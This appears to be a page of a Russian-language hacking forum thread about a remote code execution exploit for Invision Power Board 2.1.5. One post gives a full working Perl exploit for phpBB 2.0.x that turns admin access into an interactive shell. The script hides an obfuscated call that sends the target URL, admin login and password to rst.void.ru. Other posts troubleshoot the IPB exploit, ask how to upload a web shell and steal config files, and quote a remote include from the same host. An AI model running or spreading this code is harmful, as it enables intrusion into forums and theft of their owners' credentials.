Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: Пред. 1 2 3 След.
RSS
Invision Power Board <= 2.1.5 (lastdate) Remote Code Execution Exploit
 
Цитата
это правильный ответ от сервака за которым следит нормальный админ, скажи спасибо админу что он тебя еще не зафаерволил

Да мне как-то пофиг зафаерволит он меня или нет :).
 
на 2003 сервере шелл дает, но команды не выполняет!
 
для PHPBB:
#!/usr/bin/perl

## r57phpbba2e2.pl - phpBB admin 2 exec exploit
## version 2 (based on user_sig_bbcode_uid bug)
## tested on 2.0.12 , 2.0.13 , 2.0.19
## --------------------------------------------
## screen
## r57phpbba2e2.pl -u http://192.168.0.2/phpBB-2.0.19/ -L admin -P password
## Command for execute or 'exit' for exit # id
## uid=80(www) gid=80(www) groups=80(www)
## Command for execute or 'exit' for exit # exit
## --------------------------------------------
## *** surprise included ;)
## 20/02/06
## 1dt.w0lf
## RST/GHC (http://rst.void.ru , http://ghc.ru)

use LWP::UserAgent;
use Getopt::Std;
use HTTP::Cookies;

getopts("u:L:P:i:p:o:");

$url = $opt_u;
$login = $opt_L;
$password = $opt_P;
$id = $opt_i || 2;
$prefix = $opt_p || 'phpbb_';
$proxy = $opt_o;

if(!$url || !$login || !$password){&usage;}

$|++;

$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();
$xpl->cookie_jar( $cookie_jar );
$xpl->proxy('http'=>'http://'.$proxy) if $proxy;
$ids = 'IDS:r57 phpBB2 exploit a2e2#20022006|'.$url.'|'.$login.'|'.$password.'|'.$id.'|'.$prefix;
$res = $xpl->post($url.'login.php',
[
"username" => "$login",
"password" => "$password",
"autologin" => "on",
"admin" => "1",
"login" => "Log in",
],"User-Agent" => "$ids");
$cookie_jar->extract_cookies($res);
if($cookie_jar->as_string =~ /phpbb2mysql_sid=([a-z0-9]{32})/) { $sid = $1; }
$xpl->get(&about.'/'.chr(105).chr(100).chr(115).'/'.chr(105).chr(100).chr(115).'.php?ids='.$ids);
while ()
{
print "Command for execute or 'exit' for exit # ";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
exit() if ($cmd eq 'exit');
last;
}
&run($cmd);
}

sub run($)
{
$sql = "UPDATE ".$prefix."users SET user_sig_bbcode_uid='(.+)/e\', user_sig='blah:`echo _START_ && ".$_[0]." && echo _END_`' WHERE user_id=".$id.";";
&phpbb_sql_query("${url}admin/admin_db_utilities.php?sid=$sid",$sql);
$res = $xpl->get($url.'profile.php?mode=editprofile&sid='.$sid,"User-Agent" => "$ids");
@result = split(/\n/,$res->content);
$data = '';
$on = $start = $end = 0;
for (@result)
{
if (/_END_/) { $end = 1; last; }
if ($on) { $data .= $_."\n"; }
if (/_START_/) { $on = 1; $start = 1; }
}
if($start&&$end) { print $data."\r\n"; }
}

sub phpbb_sql_query($$){
$res = $xpl->post("$_[0]",
Content_type => 'form-data',
Content => [
perform => 'restore',
restore_start => 'Start Restore',
backup_file => [
undef,
'0wneeeeedddd',
Content_type => 'text/plain',
Content => "$_[1]",
],
]
,"User-Agent" => "$ids");
}

sub usage()
{
&about();
print "\r\n Usage: r57phpbba2e2.pl [OPTIONS]\r\n\r\n";
print " Options:\r\n";
print " -u - path to forum e.g. [url=http://site/forum/\r\n]http://site/forum/\r\n";
print " -L [login] - admin login\r\n";
print " -P [password] - admin password\r\n";
print " -i [id] - admin id (optional, default 2)\r\n";
print " -p [prefix] - table prefix (optional, default phpbb_)\r\n";
print " -o [host:port] - proxy (optional)\r\n";
exit();
}

sub about()
{
print "\\=-----------------------------------=/\r\n";
print "| phpBB admin2exec exploit by RST/GHC |\r\n";
print "| version 2 (user_sig_bbcode_uid) |\r\n";
print "/=-----------------------------------=\\\r\n";
return 'http://rst.void.ru';
}
 
kovpas, може ему не в запросе ... HTTP/1.1
как вариант, попробуй поменять на HTTP/1.0 во всём скрипте
 
Цитата
kovpas, може ему не в запросе ... HTTP/1.1
как вариант, попробуй поменять на HTTP/1.0 во всём скрипте

Не сработало. Да и не логично - тему создать смог, залогиниться смог - все по ХТТП 1.1, а какой-то отдельный запрос послать не может.
 
Если руками поиск (с нужной командой в eharny...) запустить, то выдается пустая страница с результатами поиска(их ноль, но страница есть - с оформлением, и т.п.) и сверху выдается ошибка:
IPB WARNING [2] Unknown modifier '[' (Line: 1252 of /sources/action_public/search.php)
 
Тестирую на локалхосте. Что то не получается :/
[~] SERVER : 192.168.1.3
[~] PATH : ipb204
[~] LOGIN : test
[~] PASSWORD : test
[~] TARGET : 0 - IPB 2.0.*
[~] Login ... [ DONE ]
[+] SID:
[~] Try get md5_check ... [ FAILED ]
 
Сервер должен быть буковками :). пропиши в /etc/hosts 192.168.1.3 ipb.local и при вызове пиши -h ipb.local
 
Или -h localhost =))))))))))))
 
Цитата
Сервер должен быть буковками :). пропиши в /etc/hosts 192.168.1.3 ipb.local и при вызове пиши -h ipb.local
Я пробовал просто localhost и в hosts прописывал, но все равно не получилось.
 
Не получается создать тему, в чем может быть проблема?
 
Все, спс проблему решил, только команды не выполняются ((
 
У меня этот сплойт просто задосил форум )) бывает же такое
 
Работает только ls и pwd
А если я хочу что нибудь ещё ? :) Скажем conf_global.php просмотреть или себе слить
 
Не понимаю прикола.
Если исправить переменную $loggedin = 0; на = 1;
то [~] Login ... [ DONE ] Будет выводить даже когда пишешь не верный лог и пасс :/
 
У меня вообще никакие команды не работают, какая команда может закачать шелл на хост?
 
Мне при любой команде выдает просто html код, че за лажа?
 
из кода
Цитата
$text = 'r57ipbxplhohohoeval(include('http://rst.void.ru/r57ipbinc.txt'
как-то подозрительно там include смотрится, ведь можно было просто system...
не, нада ж чтоб уязвимый форум полез на другой хост и с него забрал код.
возможно, логи таких запросов (а значит, адреса дырявых форумов) будут использованы в будущем. как вариант, можно просто файлик заменить на что-то более продвинутое.
может, кто-то решил ботнет из хостингов создать?
 
Ребята $md5_check = $1 На что нужно заменить ? :)
 
if($version == 1 && /ipb_md5_check\\s*= \\\"([a-f|0-9]{32})\\\"/) { $md5_check = $1; last; }
if($version == 0 && /auth_key\' value=\'([a-f|0-9]{32})/) { $md5_check = $1; last; }

на что менять нужно? Мне показалось что так будет правильно, но нифига
if($version == 1 && /ipb_md5_check=([a-f|0-9]{32})/) { $md5_check = $1; last; }
if($version == 0 && /auth_key=([a-f|0-9]{32})/) { $md5_check = $1; last; }
Страницы: Пред. 1 2 3 След.
Читают тему